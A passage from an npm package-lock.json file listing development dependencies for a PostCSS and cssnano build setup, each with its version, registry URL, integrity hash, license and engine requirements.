"https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true, "license": "MIT" }, "node_modules/colord": { "version": "2.9.3", "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", "dev": true, "license": "MIT" }, "node_modules/commander": { "version": "11.1.0", "resolved": "https://registry.npmjs.org/commander/-/commander-11.1.0.tgz", "integrity": "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==", "dev": true, "license": "MIT", "engines": { "node": ">=16" } }, "node_modules/css-declaration-sorter": { "version": "7.3.0", "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-7.3.0.tgz", "integrity": "sha512-LQF6N/3vkAMYF4xoHLJfG718HRJh34Z8BnNhd6bosOMIVjMlhuZK5++oZa3uYAgrI5+7x2o27gUqTR2U/KjUOQ==", "dev": true, "license": "ISC", "engines": { "node": "^14 || ^16 || >=18" }, "peerDependencies": { "postcss": "^8.0.9" } }, "node_modules/css-select": { "version": "5.2.2", "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.2.2.tgz", "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==", "dev": true, "license": "BSD-2-Clause", "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" }, "funding": { "url": "https://github.com/sponsors/fb55" } }, "node_modules/css-tree": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz", "integrity": "sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==", "dev": true, "license": "MIT", "dependencies": { "mdn-data": "2.12.2", "source-map-js": "^1.0.1" }, "engines": { "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" } }, "node_modules/css-what": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz", "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", "dev": true, "license": "BSD-2-Clause", "engines": { "node": ">= 6" }, "funding": { "url": "https://github.com/sponsors/fb55" } }, "node_modules/cssesc": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", "dev": true, "license": "MIT", "bin": { "cssesc": "bin/cssesc" }, "engines": { "node": ">=4" } }, "node_modules/cssnano": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-7.1.2.tgz", "integrity": "sha512-HYOPBsNvoiFeR1eghKD5C3ASm64v9YVyJB4Ivnl2gqKoQYvjjN/G0rztvKQq8OxocUtC6sjqY8jwYngIB4AByA==", "dev": true, "license": "MIT", "dependencies": { "cssnano-preset-default": "^7.0.10", "lilconfig": "^3.1.3" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/cssnano" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/cssnano-preset-default": { "version": "7.0.10", "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-7.0.10.tgz", "integrity": "sha512-6ZBjW0Lf1K1Z+0OKUAUpEN62tSXmYChXWi2NAA0afxEVsj9a+MbcB1l5qel6BHJHmULai2fCGRthCeKSFbScpA==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "css-declaration-sorter": "^7.2.0", "cssnano-utils": "^5.0.1", "postcss-calc": "^10.1.1", "postcss-colormin": "^7.0.5", "postcss-convert-values": "^7.0.8", "postcss-discard-comments": "^7.0.5", "postcss-discard-duplicates": "^7.0.2", "postcss-discard-empty": "^7.0.1", "postcss-discard-overridden": "^7.0.1", "postcss-merge-longhand": "^7.0.5", "postcss-merge-rules": "^7.0.7", "postcss-minify-font-values": "^7.0.1", "postcss-minify-gradients": "^7.0.1", "postcss-minify-params": "^7.0.5", "postcss-minify-selectors": "^7.0.5", "postcss-normalize-charset": "^7.0.1", "postcss-normalize-display-values": "^7.0.1", "postcss-normalize-positions": "^7.0.1", "postcss-normalize-repeat-style": "^7.0.1", "postcss-normalize-string": "^7.0.1", "postcss-normalize-timing-functions": "^7.0.1", "postcss-normalize-unicode": "^7.0.5", "postcss-normalize-url": "^7.0.1", "postcss-normalize-whitespace": "^7.0.1", "postcss-ordered-values": "^7.0.2", "postcss-reduce-initial": "^7.0.5", "postcss-reduce-transforms": "^7.0.1", "postcss-svgo": "^7.1.0", "postcss-unique-selectors": "^7.0.4" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/cssnano-utils": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-5.0.1.tgz", "integrity": "sha512-ZIP71eQgG9JwjVZsTPSqhc6GHgEr53uJ7tK5///VfyWj6Xp2DBmixWHqJgPno+PqATzn48pL42ww9x5SSGmhZg==", "dev": true, "license": "MIT", "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/csso": { "version": "5.0.5", "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", "dev": true, "license": "MIT", "dependencies": { "css-tree": "~2.2.0" }, "engines": { "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", "npm": ">=7.0.0" } }, "node_modules/csso/node_modules/css-tree": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", "dev": true, "license": "MIT", "dependencies": { "mdn-data": "2.0.28", "source-map-js": "^1.0.1" }, "engines": { "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", "npm": ">=7.0.0" } }, "node_modules/csso/node_modules/mdn-data": { "version": "2.0.28", "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", "dev": true, "license": "CC0-1.0" }, "node_modules/dependency-graph": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-1.0.0.tgz", "integrity": "sha512-cW3gggJ28HZ/LExwxP2B++aiKxhJXMSIt9K48FOXQkm+vuG5gyatXnLsONRJdzO/7VfjDIiaOOa/bs4l464Lwg==", "dev": true, "license": "MIT", "engines": { "node": ">=4" } }, "node_modules/dom-serializer": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", "dev": true, "license": "MIT", "dependencies": { "domelementtype": "^2.3.0", "domhandler": "^5.0.2", "entities": "^4.2.0" }, "funding": { "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" } }, "node_modules/domelementtype": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", "dev": true, "funding": [ { "type": "github", "url": "https://github.com/sponsors/fb55" } ], "license": "BSD-2-Clause" }, "node_modules/domhandler": { "version": "5.0.3", "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", "dev": true, "license": "BSD-2-Clause", "dependencies": { "domelementtype": "^2.3.0" }, "engines": { "node": ">= 4" }, "funding": { "url": "https://github.com/fb55/domhandler?sponsor=1" } }, "node_modules/domutils": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", "dev": true, "license": "BSD-2-Clause", "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" }, "funding": { "url": "https://github.com/fb55/domutils?sponsor=1" } }, "node_modules/electron-to-chromium": { "version": "1.5.250", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.250.tgz", "integrity": "sha512-/5UMj9IiGDMOFBnN4i7/Ry5onJrAGSbOGo3s9FEKmwobGq6xw832ccET0CE3CkkMBZ8GJSlUIesZofpyurqDXw==", "dev": true, "license": "ISC" }, "node_modules/emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true, "license": "MIT" }, "node_modules/entities": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", "dev": true, "license": "BSD-2-Clause", "engines": { "node": ">=0.12" }, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" } }, "node_modules/escalade": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", "dev": true, "license": "MIT", "engines": { "node": ">=6" } }, "node_modules/fill-range": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", "dev": true, "license": "MIT", "dependencies": { "to-regex-range": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/fs-extra": { "version": "11.3.2", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", "dev": true, "license": "MIT", "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" }, "engines": { "node": ">=14.14" } }, "node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", "dev": true, "hasInstallScript": true, "license": "MIT", "optional": true, "os": [ "darwin" ], "engines": { "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, "node_modules/get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true, "license": "ISC", "engines": { "node": "6.* || 8.* || >= 10.*" } }, "node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, "license": "ISC", "dependencies": { "is-glob": "^4.0.1" }, "engines": { "node": ">= 6" } }, "node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", "dev": true, "license": "ISC" }, "node_modules/is-binary-path": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", "dev": true, "license": "MIT", "dependencies": { "binary-extensions": "^2.0.0" }, "engines": { "node": ">=8" } }, "node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" } }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "dev": true, "license": "MIT", "engines": { "node": ">=8" } }, "node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dev": true, "license": "MIT", "dependencies": { "is-extglob": "^2.1.1" }, "engines": { "node": ">=0.10.0" } }, "node_modules/is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true, "license": "MIT", "engines": { "node": ">=0.12.0" } }, "node_modules/jsonfile": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", "dev": true, "license": "MIT", "dependencies": { "universalify": "^2.0.0" }, "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "node_modules/lilconfig": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", "dev": true, "license": "MIT", "engines": { "node": ">=14" }, "funding": { "url": "https://github.com/sponsors/antonk52" } }, "node_modules/lodash.memoize": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", "dev": true, "license": "MIT" }, "node_modules/lodash.uniq": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", "dev": true, "license": "MIT" }, "node_modules/mdn-data": { "version": "2.12.2", "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.12.2.tgz", "integrity": "sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==", "dev": true, "license": "CC0-1.0" }, "node_modules/nanoid": { "version": "3.3.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", "dev": true, "funding": [ { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "bin": { "nanoid": "bin/nanoid.cjs" }, "engines": { "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" } }, "node_modules/node-releases": { "version": "2.0.27", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", "dev": true, "license": "MIT" }, "node_modules/normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" } }, "node_modules/nth-check": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", "dev": true, "license": "BSD-2-Clause", "dependencies": { "boolbase": "^1.0.0" }, "funding": { "url": "https://github.com/fb55/nth-check?sponsor=1" } }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", "dev": true, "license": "ISC" }, "node_modules/picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true, "license": "MIT", "engines": { "node": ">=8.6" }, "funding": { "url": "https://github.com/sponsors/jonschlinkert" } }, "node_modules/pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" } }, "node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/postcss/" }, { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "peer": true, "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, "engines": { "node": "^10 || ^12 || >=14" } }, "node_modules/postcss-calc": { "version": "10.1.1", "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-10.1.1.tgz", "integrity": "sha512-NYEsLHh8DgG/PRH2+G9BTuUdtf9ViS+vdoQ0YA5OQdGsfN4ztiwtDWNtBl9EKeqNMFnIu8IKZ0cLxEQ5r5KVMw==", "dev": true, "license": "MIT", "dependencies": { "postcss-selector-parser": "^7.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12 || ^20.9 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.38" } }, "node_modules/postcss-cli": { "version": "11.0.1", "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-11.0.1.tgz", "integrity": "sha512-0UnkNPSayHKRe/tc2YGW6XnSqqOA9eqpiRMgRlV1S6HdGi16vwJBx7lviARzbV1HpQHqLLRH3o8vTcB0cLc+5g==", "dev": true, "license": "MIT", "dependencies": { "chokidar": "^3.3.0", "dependency-graph": "^1.0.0", "fs-extra": "^11.0.0", "picocolors": "^1.0.0", "postcss-load-config": "^5.0.0", "postcss-reporter": "^7.0.0", "pretty-hrtime": "^1.0.3", "read-cache": "^1.0.0", "slash": "^5.0.0", "tinyglobby": "^0.2.12", "yargs": "^17.0.0" }, "bin": { "postcss": "index.js" }, "engines": { "node": ">=18" }, "peerDependencies": { "postcss": "^8.0.0" } }, "node_modules/postcss-colormin": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-7.0.5.tgz", "integrity": "sha512-ekIBP/nwzRWhEMmIxHHbXHcMdzd1HIUzBECaj5KEdLz9DVP2HzT065sEhvOx1dkLjYW7jyD0CngThx6bpFi2fA==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "caniuse-api": "^3.0.0", "colord": "^2.9.3", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-convert-values": { "version": "7.0.8", "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-7.0.8.tgz", "integrity": "sha512-+XNKuPfkHTCEo499VzLMYn94TiL3r9YqRE3Ty+jP7UX4qjewUONey1t7CG21lrlTLN07GtGM8MqFVp86D4uKJg==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-discard-comments": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-7.0.5.tgz", "integrity": "sha512-IR2Eja8WfYgN5n32vEGSctVQ1+JARfu4UH8M7bgGh1bC+xI/obsPJXaBpQF7MAByvgwZinhpHpdrmXtvVVlKcQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-selector-parser": "^7.1.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-discard-duplicates": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-7.0.2.tgz", "integrity": "sha512-eTonaQvPZ/3i1ASDHOKkYwAybiM45zFIc7KXils4mQmHLqIswXD9XNOKEVxtTFnsmwYzF66u4LMgSr0abDlh5w==", "dev": true, "license": "MIT", "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-discard-empty": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-7.0.1.tgz", "integrity": "sha512-cFrJKZvcg/uxB6Ijr4l6qmn3pXQBna9zyrPC+sK0zjbkDUZew+6xDltSF7OeB7rAtzaaMVYSdbod+sZOCWnMOg==", "dev": true, "license": "MIT", "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-discard-overridden": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-7.0.1.tgz", "integrity": "sha512-7c3MMjjSZ/qYrx3uc1940GSOzN1Iqjtlqe8uoSg+qdVPYyRb0TILSqqmtlSFuE4mTDECwsm397Ya7iXGzfF7lg==", "dev": true, "license": "MIT", "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-load-config": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-5.1.0.tgz", "integrity": "sha512-G5AJ+IX0aD0dygOE0yFZQ/huFFMSNneyfp0e3/bT05a8OfPC5FUoZRPfGijUdGOJNMewJiwzcHJXFafFzeKFVA==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/postcss/" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "dependencies": { "lilconfig": "^3.1.1", "yaml": "^2.4.2" }, "engines": { "node": ">= 18" }, "peerDependencies": { "jiti": ">=1.21.0", "postcss": ">=8.0.9", "tsx": "^4.8.1" }, "peerDependenciesMeta": { "jiti": { "optional": true }, "postcss": { "optional": true }, "tsx": { "optional": true } } }, "node_modules/postcss-merge-longhand": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-7.0.5.tgz", "integrity": "sha512-Kpu5v4Ys6QI59FxmxtNB/iHUVDn9Y9sYw66D6+SZoIk4QTz1prC4aYkhIESu+ieG1iylod1f8MILMs1Em3mmIw==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0", "stylehacks": "^7.0.5" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-merge-rules": { "version": "7.0.7", "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-7.0.7.tgz", "integrity": "sha512-njWJrd/Ms6XViwowaaCc+/vqhPG3SmXn725AGrnl+BgTuRPEacjiLEaGq16J6XirMJbtKkTwnt67SS+e2WGoew==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "caniuse-api": "^3.0.0", "cssnano-utils": "^5.0.1", "postcss-selector-parser": "^7.1.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-minify-font-values": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-7.0.1.tgz", "integrity": "sha512-2m1uiuJeTplll+tq4ENOQSzB8LRnSUChBv7oSyFLsJRtUgAAJGP6LLz0/8lkinTgxrmJSPOEhgY1bMXOQ4ZXhQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-minify-gradients": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-7.0.1.tgz", "integrity": "sha512-X9JjaysZJwlqNkJbUDgOclyG3jZEpAMOfof6PUZjPnPrePnPG62pS17CjdM32uT1Uq1jFvNSff9l7kNbmMSL2A==", "dev": true, "license": "MIT", "dependencies": { "colord": "^2.9.3", "cssnano-utils": "^5.0.1", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-minify-params": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-7.0.5.tgz", "integrity": "sha512-FGK9ky02h6Ighn3UihsyeAH5XmLEE2MSGH5Tc4tXMFtEDx7B+zTG6hD/+/cT+fbF7PbYojsmmWjyTwFwW1JKQQ==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "cssnano-utils": "^5.0.1", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-minify-selectors": { "version": "7.0.5", "resolved": 